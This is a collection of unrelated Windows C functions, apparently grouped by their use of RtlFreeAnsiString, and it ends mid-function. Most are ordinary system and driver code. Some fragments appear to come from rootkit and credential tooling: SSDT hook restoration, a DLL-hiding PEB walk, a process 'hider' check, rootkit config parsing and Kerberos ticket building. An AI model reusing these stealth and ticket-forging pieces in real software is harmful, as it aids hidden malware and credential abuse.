static VOID FsRtlIsDbcsInExpressionTest() { ULONG i; for (i = 0; i < sizeof(Tests) / sizeof(Tests[0]); i++) { BOOLEAN TestResult; UNICODE_STRING UExpression; UNICODE_STRING UName; ANSI_STRING Expression; ANSI_STRING Name; /* Don't run Tests which are known to assert in checked builds */ if (KmtIsCheckedBuild && Tests[i].AssertsInChecked) continue; /* Ignore Tests flagged IgnoreCase==TRUE to avoid duplicated testing */ if (Tests[i].IgnoreCase) continue; RtlInitUnicodeString(&UExpression, Tests[i].Expression); RtlInitUnicodeString(&UName, Tests[i].Name); RtlUnicodeStringToAnsiString(&Expression, &UExpression, TRUE); RtlUnicodeStringToAnsiString(&Name, &UName, TRUE); TestResult = FsRtlIsDbcsInExpression(&Expression, &Name); ok(TestResult == Tests[i].Expected, "FsRtlIsDbcsInExpression(%Z,%Z): Expected %s, got %s\n", &Expression, &Name, Tests[i].Expected ? "TRUE" : "FALSE", TestResult ? "TRUE" : "FALSE"); RtlFreeAnsiString(&Expression); RtlFreeAnsiString(&Name); } }
BOOL config_CheckString(INT iItem,LPSTR lpString,DWORD dwLen) { ANSI_STRING asString; LPSTR lpBegin,lpEnd; // get our config string if (!config_GetAnsiString(n00bk1tBaseAddress,iItem,&asString)) return FALSE; // get begin and end of string lpBegin=asString.Buffer; lpEnd=strchr(asString.Buffer,CONFIG_DELIMITER); // check all strings in string while(lpBegin&&*lpBegin) { // null terminated if (!lpEnd) { if (strlen(lpBegin)&&_strnicmp(lpString,lpBegin,strlen(lpBegin))==0) { RtlFreeAnsiString(&asString); return TRUE; } RtlFreeAnsiString(&asString); return FALSE; } // delimited else { if (lpEnd-lpBegin>0) { if (_strnicmp(lpString,lpBegin,lpEnd-lpBegin)==0) { RtlFreeAnsiString(&asString); return TRUE; } } else { RtlFreeAnsiString(&asString); return FALSE; } } lpBegin=lpEnd+1; lpEnd=strchr(lpBegin,CONFIG_DELIMITER); } RtlFreeAnsiString(&asString); return FALSE; }
BOOL config_CheckInt(INT iItem,UINT uiInt) { ANSI_STRING asString; LPSTR lpBegin,lpEnd; UINT uiOne,uiTwo; // get our config string if (!config_GetAnsiString(n00bk1tBaseAddress,iItem,&asString)) return FALSE; // get begin and end of string lpBegin=asString.Buffer; lpEnd=strchr(asString.Buffer,CONFIG_DELIMITER); // check all strings in string while(lpBegin&&*lpBegin) { // check for range if (sscanf(lpBegin,"%u-%u",&uiOne,&uiTwo)==2) { if (uiInt>=uiOne&&uiInt<=uiTwo) { RtlFreeAnsiString(&asString); return TRUE; } } // check for number else if (sscanf(lpBegin,"%u",&uiOne)==1) { if (uiOne==uiInt) { RtlFreeAnsiString(&asString); return TRUE; } } // not last number if (lpEnd) { lpBegin=lpEnd+1; lpEnd=strchr(lpBegin,CONFIG_DELIMITER); } // last number else break; } RtlFreeAnsiString(&asString); return FALSE; }
/*--------------------------------------------------------- 函数名称: ELFhashUnicode 函数描述: ELF算法计算字符串Hash Unicode版本 转换后使用了 Ansi版本 输入参数: pansiKey 需要Hash的字符串 ulMod 最大Hash值范围 输出参数: 返回值: Hash值 其他: 更新维护: 2011.3.20 最初版本 2011.7.16 添加了Ansi申请内存 ---------------------------------------------------------*/ ULONG ELFhashUnicode( PUNICODE_STRING pusKey,ULONG ulMod ) { //转换ansi字符串 ANSI_STRING ansiKey; //获取的Hash值 ULONG ulHash; // //转换成Ansi // RtlUnicodeStringToAnsiString( &ansiKey, pusKey, TRUE//让RtlUnicodeStringToAnsiString申请内存 ); // //直接用ansi版本 // ulHash = ELFhashAnsi(&ansiKey,ulMod); // //释放内存 // RtlFreeAnsiString(&ansiKey); return ulHash; }
VOID tapReadPermanentAddress(__in PTAP_ADAPTER_CONTEXT Adapter, __in NDIS_HANDLE ConfigurationHandle, __out MACADDR PermanentAddress) { NDIS_STATUS status; NDIS_CONFIGURATION_PARAMETER *configParameter; NDIS_STRING macKey = NDIS_STRING_CONST("MAC"); ANSI_STRING macString; BOOLEAN macFromRegistry = FALSE; // Read MAC parameter from registry. NdisReadConfiguration(&status, &configParameter, ConfigurationHandle, &macKey, NdisParameterString); if (status == NDIS_STATUS_SUCCESS) { if ((configParameter->ParameterType == NdisParameterString) && (configParameter->ParameterData.StringData.Length >= 12)) { if (RtlUnicodeStringToAnsiString(&macString, &configParameter->ParameterData.StringData, TRUE) == STATUS_SUCCESS) { macFromRegistry = ParseMAC(PermanentAddress, macString.Buffer); RtlFreeAnsiString(&macString); } } } if (!macFromRegistry) { // // There is no (valid) address stashed in the registry parameter. // // Make up a dummy mac address based on the ANSI representation of the // NetCfgInstanceId GUID. // GenerateRandomMac(PermanentAddress, MINIPORT_INSTANCE_ID(Adapter)); } }
// Free adapter context memory and associated resources. VOID tapAdapterContextFree(__in PTAP_ADAPTER_CONTEXT Adapter) { PLIST_ENTRY listEntry = &Adapter->AdapterListLink; DEBUGP(("[TAP] --> tapAdapterContextFree\n")); // Adapter context should already be removed. ASSERT((listEntry->Flink == listEntry) && (listEntry->Blink == listEntry)); // Insure that adapter context has been removed from global adapter list. RemoveEntryList(&Adapter->AdapterListLink); // Free the adapter lock. NdisFreeSpinLock(&Adapter->AdapterLock); // Free the ANSI NetCfgInstanceId buffer. if (Adapter->NetCfgInstanceIdAnsi.Buffer != NULL) { RtlFreeAnsiString(&Adapter->NetCfgInstanceIdAnsi); } Adapter->NetCfgInstanceIdAnsi.Buffer = NULL; // Free the receive NBL pool. if (Adapter->ReceiveNblPool != NULL) { NdisFreeNetBufferListPool(Adapter->ReceiveNblPool); } Adapter->ReceiveNblPool = NULL; NdisFreeMemory(Adapter, 0, 0); DEBUGP(("[TAP] <-- tapAdapterContextFree\n")); }
// // Функция, вызываемая при выгрузке драйвера. // VOID DriverUnload(IN PDRIVER_OBJECT pDriverObject) { ULONG reg; // удаление символьной ссылки и объекта устройства IoDeleteSymbolicLink(&glSymLinkName); IoDeleteDevice(pDriverObject->DeviceObject); // удаляем элементы списка файлов while (!IsListEmpty(&glOpenFiles)) { PLIST_ENTRY pLink = RemoveHeadList(&glOpenFiles); OpenFileEntry *entry = CONTAINING_RECORD(pLink, OpenFileEntry, link); RtlFreeAnsiString(&entry->fileName); RtlFreeUnicodeString(&entry->fullName); ExFreeToPagedLookasideList(&glPagedList, entry); } // удаляем резервный список ExDeletePagedLookasideList(&glPagedList); KdPrint(("Driver unload\n")); //reg = ClearWP(); KeServiceDescriptorTable->Base[NUMBER_NT_CREATE_FILE] = (ULONG)glRealNtCreateFile; KeServiceDescriptorTable->Base[NUMBER_NT_OPEN_FILE] = (ULONG)glRealNtOpenFile; //WriteCR0(reg); WaitHookUnload(&glHookCounter); //FreeProtectedFiles(); return; }
PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createSequencePrimaryName(PKERB_EXTERNAL_NAME name) { PDIRTY_ASN1_SEQUENCE_EASY Seq_ExternalName, Ctx_root, Seq_Names; UCHAR integer1 = (UCHAR) name->NameType; USHORT i; ANSI_STRING aString; if(Seq_ExternalName = KULL_M_ASN1_CREATE_SEQ()) { kull_m_asn1_append_ctx_and_data_to_seq(&Seq_ExternalName, ID_CTX_PRINCIPALNAME_NAME_TYPE, kull_m_asn1_create(DIRTY_ASN1_ID_INTEGER, &integer1, sizeof(UCHAR), NULL)); if(Ctx_root = KULL_M_ASN1_CREATE_CTX(ID_CTX_PRINCIPALNAME_NAME_STRING)) { if(Seq_Names = KULL_M_ASN1_CREATE_SEQ()) { for(i = 0; i < name->NameCount; i++) { if(NT_SUCCESS(RtlUnicodeStringToAnsiString(&aString, &name->Names[i], TRUE))) { kull_m_asn1_create(DIRTY_ASN1_ID_GENERAL_STRING, aString.Buffer, aString.Length, &Seq_Names); RtlFreeAnsiString(&aString); } } kull_m_asn1_append(&Ctx_root, Seq_Names); } kull_m_asn1_append(&Seq_ExternalName, Ctx_root); } } return Seq_ExternalName; }
VOID UnloadSymbolsForEvent( IN PRTL_EVENT Event, PRTL_EVENT_ID_INFO EventId ) { PULONG ParameterData; PWSTR Src; UNICODE_STRING UnicodeString; ANSI_STRING ImageFilePath; ULONG ImageBase; ParameterData = (PULONG)((PCHAR)Event + Event->OffsetToParameterData); Src = (PWSTR)ParameterData; RtlInitUnicodeString( &UnicodeString, Src ); RtlUnicodeStringToAnsiString( &ImageFilePath, &UnicodeString, TRUE ); while (*Src++) { } ParameterData = (PULONG)ALIGN_UP( Src, ULONG ); ImageBase = *ParameterData; RemoveImageDebugInformation( Event->ClientId.UniqueProcess, ImageFilePath.Buffer, ImageBase ); RtlFreeAnsiString( &ImageFilePath ); return; }
VOID FreeLargeString(PLARGE_UNICODE_STRING LargeString) { union { ANSI_STRING Ansi; UNICODE_STRING Unicode; }; if (LargeString->Buffer == NULL) return; if (LargeString->Ansi) { Ansi.Length = LargeString->Length; Ansi.MaximumLength = LargeString->MaximumLength; Ansi.Buffer = LargeString->AnsiBuffer; RtlFreeAnsiString(&Ansi); } else { Unicode.Length = LargeString->Length; Unicode.MaximumLength = LargeString->MaximumLength; Unicode.Buffer = LargeString->UnicodeBuffer; RtlFreeUnicodeString(&Unicode); } }
/* 获取当前SSDTShadow index、函数地址、当前所在模块 */ ULONG GetSSDTShadowFuncAddr( PSHADOW_INFO pShadowInfo, PULONG outputLen) { PSYSTEM_SERVICE_TABLE_SHADOW KeServiceDescriptorTableShadow = NULL; ULONG iCount = 0; ULONG ulDrvNums=0; ULONG iDrv=0; PDRVMOD_ITEM ptagDrvItem; ANSI_STRING AnsiString; UNICODE_STRING unico; if ( !pShadowInfo || !outputLen ) return 0; KeServiceDescriptorTableShadow = (PSYSTEM_SERVICE_TABLE_SHADOW)GetSSDTShadowTable(); if ( !KeServiceDescriptorTableShadow ) return 0; //输出缓冲区尺寸 < 数量 * 尺寸,则返回 数量 * 尺寸 if ( *outputLen < KeServiceDescriptorTableShadow->ServiceLimit * sizeof(SHADOW_INFO) ) { *outputLen = (ULONG)KeServiceDescriptorTableShadow->ServiceLimit * sizeof(SHADOW_INFO); return 0; } //枚举驱动信息 ptagDrvItem=GetKrnlModuleList(&ulDrvNums); /* 填充SSDTShadow的 index、当前函数地址 */ for (iCount=0; iCount < KeServiceDescriptorTableShadow->ServiceLimit; iCount++) { pShadowInfo[iCount].currentAddr = (ULONG)KeServiceDescriptorTableShadow->ServiceTable[iCount]; // KdPrint(("ShadowSSDT index:%d \t funcAddr:0x%08x\n", iCount, (ULONG)KeServiceDescriptorTableShadow->ServiceTable[iCount])); /* 查找Shadow函数当前所在的内核模块 */ for ( iDrv = 0; iDrv < ulDrvNums; iDrv++ ) { /* 查找ssdt函数当前所在的内核模块 */ if ( CompareModule( (PVOID)pShadowInfo[iCount].currentAddr, &ptagDrvItem[iDrv]) ) { RtlInitUnicodeString( &unico, ptagDrvItem[iDrv].pwszDrvPath ); RtlUnicodeStringToAnsiString( &AnsiString, &unico, TRUE ); /* 填充当前Shadow函数所在模块路径 */ strcpy( pShadowInfo[iCount].imagePath, AnsiString.Buffer ); RtlFreeAnsiString( &AnsiString ); // KdPrint(("ssdt函数地址:0x%08X \t 模块路径:%s\n", pShadowInfo[iCount].currentAddr, pShadowInfo[iCount].imagePath)); break; } } } //改写输出缓冲区尺寸、返回个数 *outputLen = iCount * sizeof(SHADOW_INFO); return iCount; }
void WINAPI redirect_RtlFreeAnsiString(ANSI_STRING *string) { if (is_dynamo_address((app_pc)string->Buffer)) { PEB *peb = get_peb(NT_CURRENT_PROCESS); redirect_RtlFreeHeap(peb->ProcessHeap, 0, (byte *)string->Buffer); memset(string, 0, sizeof(*string)); } else RtlFreeAnsiString(string); }
void pefree(Pe *pe) { int i; for (i = 0; i < pe->nsections; i++) { RtlFreeAnsiString(ANSI_NAME_STRING(&pe->sect[i])); } for (i = 0; i < pe->nsymbols; i++) { free(pe->symtab[i].name); } free(pe->symtab); free(pe->sect); free(pe); }
/*********************************************************************** * OutputDebugStringW (KERNEL32.@) * * Output by an application of a unicode string to a debugger (if attached) * and program log. * * PARAMS * str [I] The message to be logged and given to the debugger. * * RETURNS * * Nothing. */ void WINAPI OutputDebugStringW( LPCWSTR str ) { UNICODE_STRING strW; STRING strA; RtlInitUnicodeString( &strW, str ); if (!RtlUnicodeStringToAnsiString( &strA, &strW, TRUE )) { OutputDebugStringA( strA.Buffer ); RtlFreeAnsiString( &strA ); } }
/****************************************************************************** * NtDisplayString [NTDLL.@] * * writes a string to the nt-textmode screen eg. during startup */ NTSTATUS WINAPI NtDisplayString ( PUNICODE_STRING string ) { STRING stringA; NTSTATUS ret; if (!(ret = RtlUnicodeStringToAnsiString( &stringA, string, TRUE ))) { MESSAGE( "%.*s", stringA.Length, stringA.Buffer ); RtlFreeAnsiString( &stringA ); } return ret; }
//this unit will contain the functions and other crap used by the hider function BOOLEAN CheckImageName(IN PUNICODE_STRING FullImageName, IN char* List,int listsize) { #ifndef AMD64 /* pre:List has been initialized and all entries are UPPERCASE. Each entry is seperated by a 0-marker so just setting the pointer ro the start and doing a compare will work */ ANSI_STRING tempstring; int i; DbgPrint("Checking this image name...\n"); RtlZeroMemory(&tempstring,sizeof(ANSI_STRING)); if (RtlUnicodeStringToAnsiString(&tempstring,FullImageName,TRUE)== STATUS_SUCCESS) { char *p; INT_PTR modulesize; __try { RtlUpperString(&tempstring,&tempstring); p=List; for (i=0;i<listsize;i++) { if (List[i]=='\0') { modulesize=i-(INT_PTR)(p-List); if (modulesize>=0) { DbgPrint("Checking %s with %s\n",&tempstring.Buffer[tempstring.Length-modulesize],p); if ((tempstring.Length>=modulesize) && (strcmp(p,&tempstring.Buffer[tempstring.Length-modulesize])==0)) { //we have a match!!! DbgPrint("It's a match with %s\n",p); return TRUE; } } p=&List[i+1]; } } } __finally { RtlFreeAnsiString(&tempstring); } }
VOID SrvReportCorruptSlmStatus ( IN PUNICODE_STRING StatusFile, IN NTSTATUS Status, IN ULONG Offset, IN ULONG Operation, IN PSESSION Session ) { NTSTATUS status; ANSI_STRING ansiStatusFile; TIME time; TIME_FIELDS timeFields; status = RtlUnicodeStringToAnsiString( &ansiStatusFile, StatusFile, TRUE ); ASSERT( NT_SUCCESS(status) ); KeQuerySystemTime( &time ); RtlTimeToTimeFields( &time, &timeFields ); // // Send a broadcast message. // SrvSendSecondClassMailslot( ansiStatusFile.Buffer, StatusFile->Length + 1, "NTSLMCORRUPT", "SlmCheck" ); SrvPrint4( "\n*** CORRUPT STATUS FILE DETECTED ***\n" " File: %Z\n" " Status: 0x%lx, Offset: 0x%lx, detected on %s\n", &ansiStatusFile, Status, Offset, Operation == SLMDBG_CLOSE ? "close" : "rename" ); SrvPrint3( " Workstation: %wZ, User: %wZ, OS: %wZ\n", &Session->Connection->ClientMachineNameString, &Session->UserName, &SrvClientTypes[Session->Connection->SmbDialect] ); SrvPrint3( " Current time: %d-%d-%d ", timeFields.Month, timeFields.Day, timeFields.Year ); SrvPrint3( "%d:%d:%d\n", timeFields.Hour, timeFields.Minute, timeFields.Second ); RtlFreeAnsiString( &ansiStatusFile ); return; } // SrvReportCorruptSlmStatus
co_rc_t co_canonize_cobd_path(co_pathname_t *pathname) { co_pathname_t copied_path; memcpy(&copied_path, pathname, sizeof(copied_path)); if (!(co_strncmp(copied_path, "\\Device\\", 8) == 0 || co_strncmp(copied_path, "\\DosDevices\\", 12) == 0)) { UNICODE_STRING dos_uni; UNICODE_STRING nt_uni; ANSI_STRING dos_ansi; ANSI_STRING nt_ansi; NTSTATUS status; /* If it's not an absolute path */ if (!(co_strlen(copied_path) >= 3 && (copied_path[1] == ':' && copied_path[2] == '\\'))) { co_pathname_t cwd_path; /* ... then make it so */ getcwd(cwd_path, sizeof(cwd_path)); co_snprintf(*pathname, sizeof(*pathname), "%s\\%s", cwd_path, copied_path); } dos_ansi.Buffer = &(*pathname)[0]; dos_ansi.Length = strlen(*pathname); dos_ansi.MaximumLength = dos_ansi.Length + 1; status = RtlAnsiStringToUnicodeString(&dos_uni, &dos_ansi, TRUE); if (!NT_SUCCESS(status)) return CO_RC(ERROR); RtlDosPathNameToNtPathName_U(dos_uni.Buffer, &nt_uni, NULL, NULL); RtlFreeUnicodeString(&dos_uni); status = RtlUnicodeStringToAnsiString(&nt_ansi, &nt_uni, TRUE); if (!NT_SUCCESS(status)) { RtlFreeUnicodeString(&nt_uni); return CO_RC(ERROR); } co_snprintf(*pathname, sizeof(*pathname), "%s", nt_ansi.Buffer); RtlFreeUnicodeString(&nt_uni); RtlFreeAnsiString(&nt_ansi); } return CO_RC(OK); }
void DumpWCharString( PWSTR String ) { UNICODE_STRING Unicode; ANSI_STRING AnsiString; RtlInitUnicodeString( &Unicode, String ); // DbgPrint("*%Z*\n",&Unicode); // DbgPrint(" Length: %d\n", Unicode.Length); // DbgPrint(" Max: %d\n", Unicode.MaximumLength); RtlUnicodeStringToAnsiString( &AnsiString, &Unicode, TRUE ); AnsiString.Buffer[AnsiString.Length]=0; // null terminate it printf("%s", AnsiString.Buffer ); RtlFreeAnsiString( &AnsiString ); return; }
NTSTATUS OnRead(PDEVICE_OBJECT pDeviceObj, PIRP pIrp) { DbgPrint("%s", "Read Called\n"); PIO_STACK_LOCATION stack_location = IoGetCurrentIrpStackLocation(pIrp); ULONG read_size = stack_location->Parameters.Read.Length; PVOID& system_buffer = pIrp->AssociatedIrp.SystemBuffer; PVOID &context = stack_location->FileObject->FsContext; ANSI_STRING ansi_string = {}; if(context == NULL) { pIrp->IoStatus.Information = 0; pIrp->IoStatus.Status = STATUS_INVALID_PARAMETER; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_INVALID_PARAMETER; } if(read_size > ((PUNICODE_STRING)context)->Length) { pIrp->IoStatus.Information = 0; pIrp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_INSUFFICIENT_RESOURCES; } RtlUnicodeStringToAnsiString(&ansi_string, (PUNICODE_STRING)context, TRUE); RtlCopyMemory(pIrp->AssociatedIrp.SystemBuffer, ansi_string.Buffer, read_size); RtlFreeAnsiString(&ansi_string); RtlFreeUnicodeString((PUNICODE_STRING)context); ExFreePoolWithTag(context, TAG_CONVERSION); context = NULL; pIrp->IoStatus.Information = read_size; pIrp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS; }
//先从PEB中获取待隐藏的DLL的基址 ULONG GetDllBaseFromProcessPEB(PEPROCESS Process,char *szDllName) { ULONG Peb; PPEB_LDR_DATA pLdrData; PLDR_DATA_TABLE_ENTRY pLdrDataEntry; PLIST_ENTRY pListHead,pListNext; ANSI_STRING ansiDllName; ULONG DllBase=0; Peb=*(ULONG*)((char*)Process+EPROCESS_PEB_OFFSET); dprintf("PEB=0x%08X\n",Peb); __try { pLdrData=(PPEB_LDR_DATA)*(ULONG*)((char*)Peb+0xC); pListHead=&(pLdrData->InLoadOrderModuleList); pListNext=pListHead->Flink; for (pListHead;pListNext!=pListHead;pListNext=pListNext->Flink) { pLdrDataEntry=(PLDR_DATA_TABLE_ENTRY)pListNext; if (pLdrDataEntry->BaseDllName.Buffer) { RtlUnicodeStringToAnsiString(&ansiDllName,& (pLdrDataEntry->BaseDllName),TRUE); //dprintf("Base=0x%08X %s\n",pLdrDataEntry->DllBase,ansiDllName.Buffer); if (!_stricmp(szDllName,ansiDllName.Buffer)) { DllBase=(ULONG)pLdrDataEntry->DllBase; } RtlFreeAnsiString(&ansiDllName); //若找到就退出循环 if (DllBase) break; }//end of if } return DllBase; } __except(EXCEPTION_EXECUTE_HANDLER) { DbgPrint("Error occured while searching module in PEB.\n"); return 0; } }
FLT_PREOP_CALLBACK_STATUS NPPreCreate ( __inout PFLT_CALLBACK_DATA Data, __in PCFLT_RELATED_OBJECTS FltObjects, __deref_out_opt PVOID *CompletionContext ) { NTSTATUS status; PFLT_FILE_NAME_INFORMATION nameInfo; ANSI_STRING ansiStr; UNREFERENCED_PARAMETER( FltObjects ); UNREFERENCED_PARAMETER( CompletionContext ); PAGED_CODE(); __try { status = FltGetFileNameInformation( Data, FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT, &nameInfo ); if ( !NT_SUCCESS( status ) ) leave; status = FltParseFileNameInformation( nameInfo ); if ( !NT_SUCCESS( status ) ) leave; RtlUnicodeStringToAnsiString(&ansiStr, &nameInfo->Name, TRUE); PT_DBG_PRINT( PTDBG_TRACE_OPERATION_STATUS, ("minifilter0!NPPretCreate: create [%Z]\n", &ansiStr) ); RtlFreeAnsiString( &ansiStr ); FltReleaseFileNameInformation( nameInfo ); } __except(EXCEPTION_EXECUTE_HANDLER) { DbgPrint("NPPreCreate EXCEPTION_EXECUTE_HANDLER\n"); } return FLT_PREOP_SUCCESS_WITH_CALLBACK; }
BOOL NTAPI BaseDestroyVDMEnvironment(IN PANSI_STRING AnsiEnv, IN PUNICODE_STRING UnicodeEnv) { ULONG Dummy = 0; /* Clear the ASCII buffer since Rtl creates this for us */ if (AnsiEnv->Buffer) RtlFreeAnsiString(AnsiEnv); /* The Unicode buffer is build by hand, though */ if (UnicodeEnv->Buffer) { /* So clear it through the API */ NtFreeVirtualMemory(NtCurrentProcess(), (PVOID*)&UnicodeEnv->Buffer, &Dummy, MEM_RELEASE); } /* All done */ return TRUE; }
BOOLEAN ReleaseNetCardsInfo() { LIST_ENTRY *pListEntry=NULL; NETCARDS_INFO *pNI=NULL; if (!IsListEmpty(&g_NetCardsInfoHeader.Next)) { pListEntry = ExInterlockedRemoveHeadList(&g_NetCardsInfoHeader.Next, &g_NetCardsInfoLock); // LockResource(&g_NetCardsInfoLock, TRUE); // pListEntry = RemoveHeadList(&g_NetCardsInfoHeader.Next); // UnlockResource(&g_NetCardsInfoLock); pNI = CONTAINING_RECORD(pListEntry, NETCARDS_INFO, Next); if (pNI==NULL) { kprintf("what the hell is going on\n"); } RtlFreeAnsiString(&pNI->Name); kfree(pNI); } return TRUE; }
BOOLEAN NPUnicodeStringToChar(PUNICODE_STRING UniName, char Name[]) { ANSI_STRING AnsiName; NTSTATUS ntstatus; char* nameptr; __try { ntstatus = RtlUnicodeStringToAnsiString(&AnsiName, UniName, TRUE); if (AnsiName.Length < 260) { nameptr = (PCHAR)AnsiName.Buffer; //Convert into upper case and copy to buffer //strcpy(Name, _strupr(nameptr)); memcpy(Name, _strupr(nameptr),AnsiName.Length); DbgPrint("NPUnicodeStringToChar : %s\n", Name); } RtlFreeAnsiString(&AnsiName); } __except(EXCEPTION_EXECUTE_HANDLER) { DbgPrint("NPUnicodeStringToChar EXCEPTION_EXECUTE_HANDLER\n"); return FALSE; } return TRUE; }
INT config_GetInt(HMODULE hModule,DWORD dwStringID) { PWCHAR pwString; UNICODE_STRING usString; ANSI_STRING asString; INT iRet=0; // get pointer to string in stringtable if (pwString=config_GetResourceStringData(hModule,dwStringID)) { // convert it to ansi usString.Buffer=pwString+1; usString.Length=usString.MaximumLength=(*pwString)*2; if (NT_SUCCESS(RtlUnicodeStringToAnsiString(&asString,&usString,TRUE))) { sscanf(asString.Buffer,"%i",&iRet); RtlFreeAnsiString(&asString); } } return iRet; }
static BOOL ReadAnsiLogEntry(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead) { PEVENTLOGRECORD Dst; PEVENTLOGRECORD Src; ANSI_STRING StringA; UNICODE_STRING StringW; LPWSTR SrcPtr; LPSTR DstPtr; LPWSTR SrcString; LPSTR DstString; LPVOID lpUnicodeBuffer = NULL; DWORD dwRead = 0; DWORD i; DWORD dwPadding; DWORD dwEntryLength; PDWORD pLength; NTSTATUS Status; BOOL ret = TRUE; *lpNumberOfBytesRead = 0; lpUnicodeBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nNumberOfBytesToRead); if (lpUnicodeBuffer == NULL) { DPRINT1("Alloc failed!\n"); return FALSE; } if (!ReadFile(hFile, lpUnicodeBuffer, nNumberOfBytesToRead, &dwRead, NULL)) { DPRINT1("Read failed!\n"); ret = FALSE; goto done; } Dst = (PEVENTLOGRECORD)lpBuffer; Src = (PEVENTLOGRECORD)lpUnicodeBuffer; Dst->TimeGenerated = Src->TimeGenerated; Dst->Reserved = Src->Reserved; Dst->RecordNumber = Src->RecordNumber; Dst->TimeWritten = Src->TimeWritten; Dst->EventID = Src->EventID; Dst->EventType = Src->EventType; Dst->EventCategory = Src->EventCategory; Dst->NumStrings = Src->NumStrings; Dst->UserSidLength = Src->UserSidLength; Dst->DataLength = Src->DataLength; SrcPtr = (LPWSTR)((DWORD_PTR)Src + sizeof(EVENTLOGRECORD)); DstPtr = (LPSTR)((DWORD_PTR)Dst + sizeof(EVENTLOGRECORD)); /* Convert the module name */ RtlInitUnicodeString(&StringW, SrcPtr); Status = RtlUnicodeStringToAnsiString(&StringA, &StringW, TRUE); if (NT_SUCCESS(Status)) { RtlCopyMemory(DstPtr, StringA.Buffer, StringA.MaximumLength); DstPtr = (PVOID)((DWORD_PTR)DstPtr + StringA.MaximumLength); RtlFreeAnsiString(&StringA); } /* Convert the computer name */ if (NT_SUCCESS(Status)) { SrcPtr = (PWSTR)((DWORD_PTR)SrcPtr + StringW.MaximumLength); RtlInitUnicodeString(&StringW, SrcPtr); Status = RtlUnicodeStringToAnsiString(&StringA, &StringW, TRUE); if (NT_SUCCESS(Status)) { RtlCopyMemory(DstPtr, StringA.Buffer, StringA.MaximumLength); DstPtr = (PVOID)((DWORD_PTR)DstPtr + StringA.MaximumLength); RtlFreeAnsiString(&StringA); } } /* Add the padding and the User SID*/ if (NT_SUCCESS(Status)) { dwPadding = sizeof(DWORD) - (((DWORD_PTR)DstPtr - (DWORD_PTR)Dst) % sizeof(DWORD)); RtlZeroMemory(DstPtr, dwPadding); DstPtr = (LPSTR)((DWORD_PTR)DstPtr + dwPadding); RtlCopyMemory(DstPtr, (PVOID)((DWORD_PTR)Src + Src->UserSidOffset), Src->UserSidLength); Dst->UserSidOffset = (DWORD)((DWORD_PTR)DstPtr - (DWORD_PTR)Dst); } /* Convert the strings */ if (NT_SUCCESS(Status)) { DstPtr = (PVOID)((DWORD_PTR)DstPtr + Src->UserSidLength); SrcString = (LPWSTR)((DWORD_PTR)Src + (DWORD)Src->StringOffset); DstString = (LPSTR)DstPtr; for (i = 0; i < Dst->NumStrings; i++) { RtlInitUnicodeString(&StringW, SrcString); RtlUnicodeStringToAnsiString(&StringA, &StringW, TRUE); RtlCopyMemory(DstString, StringA.Buffer, StringA.MaximumLength); SrcString = (LPWSTR)((DWORD_PTR)SrcString + (DWORD)StringW.MaximumLength); DstString = (LPSTR)((DWORD_PTR)DstString + (DWORD)StringA.MaximumLength); RtlFreeAnsiString(&StringA); } Dst->StringOffset = (DWORD)((DWORD_PTR)DstPtr - (DWORD_PTR)Dst); /* Copy the binary data */ DstPtr = (PVOID)DstString; Dst->DataOffset = (DWORD_PTR)DstPtr - (DWORD_PTR)Dst; RtlCopyMemory(DstPtr, (PVOID)((DWORD_PTR)Src + Src->DataOffset), Src->DataLength); /* Add the padding */ DstPtr = (PVOID)((DWORD_PTR)DstPtr + Src->DataLength); dwPadding = sizeof(DWORD) - (((DWORD_PTR)DstPtr-(DWORD_PTR)Dst) % sizeof(DWORD)); RtlZeroMemory(DstPtr, dwPadding); dwEntryLength = (DWORD)((DWORD_PTR)DstPtr + dwPadding + sizeof(DWORD) - (DWORD_PTR)Dst); /* Set the entry length at the end of the entry*/ pLength = (PDWORD)((DWORD_PTR)DstPtr + dwPadding); *pLength = dwEntryLength; Dst->Length = dwEntryLength; *lpNumberOfBytesRead = dwEntryLength; } done: if (lpUnicodeBuffer != NULL) HeapFree(GetProcessHeap(), 0, lpUnicodeBuffer); return ret; }
BOOL WINAPI RealSystemParametersInfoA(UINT uiAction, UINT uiParam, PVOID pvParam, UINT fWinIni) { switch (uiAction) { case SPI_GETNONCLIENTMETRICS: { LPNONCLIENTMETRICSA pnclma = (LPNONCLIENTMETRICSA)pvParam; NONCLIENTMETRICSW nclmw; if(pnclma->cbSize != sizeof(NONCLIENTMETRICSA)) { SetLastError(ERROR_INVALID_PARAMETER); return FALSE; } nclmw.cbSize = sizeof(NONCLIENTMETRICSW); if (!SystemParametersInfoW(uiAction, sizeof(NONCLIENTMETRICSW), &nclmw, fWinIni)) return FALSE; pnclma->iBorderWidth = nclmw.iBorderWidth; pnclma->iScrollWidth = nclmw.iScrollWidth; pnclma->iScrollHeight = nclmw.iScrollHeight; pnclma->iCaptionWidth = nclmw.iCaptionWidth; pnclma->iCaptionHeight = nclmw.iCaptionHeight; pnclma->iSmCaptionWidth = nclmw.iSmCaptionWidth; pnclma->iSmCaptionHeight = nclmw.iSmCaptionHeight; pnclma->iMenuWidth = nclmw.iMenuWidth; pnclma->iMenuHeight = nclmw.iMenuHeight; LogFontW2A(&(pnclma->lfCaptionFont), &(nclmw.lfCaptionFont)); LogFontW2A(&(pnclma->lfSmCaptionFont), &(nclmw.lfSmCaptionFont)); LogFontW2A(&(pnclma->lfMenuFont), &(nclmw.lfMenuFont)); LogFontW2A(&(pnclma->lfStatusFont), &(nclmw.lfStatusFont)); LogFontW2A(&(pnclma->lfMessageFont), &(nclmw.lfMessageFont)); return TRUE; } case SPI_SETNONCLIENTMETRICS: { LPNONCLIENTMETRICSA pnclma = (LPNONCLIENTMETRICSA)pvParam; NONCLIENTMETRICSW nclmw; if(pnclma->cbSize != sizeof(NONCLIENTMETRICSA)) { SetLastError(ERROR_INVALID_PARAMETER); return FALSE; } nclmw.cbSize = sizeof(NONCLIENTMETRICSW); nclmw.iBorderWidth = pnclma->iBorderWidth; nclmw.iScrollWidth = pnclma->iScrollWidth; nclmw.iScrollHeight = 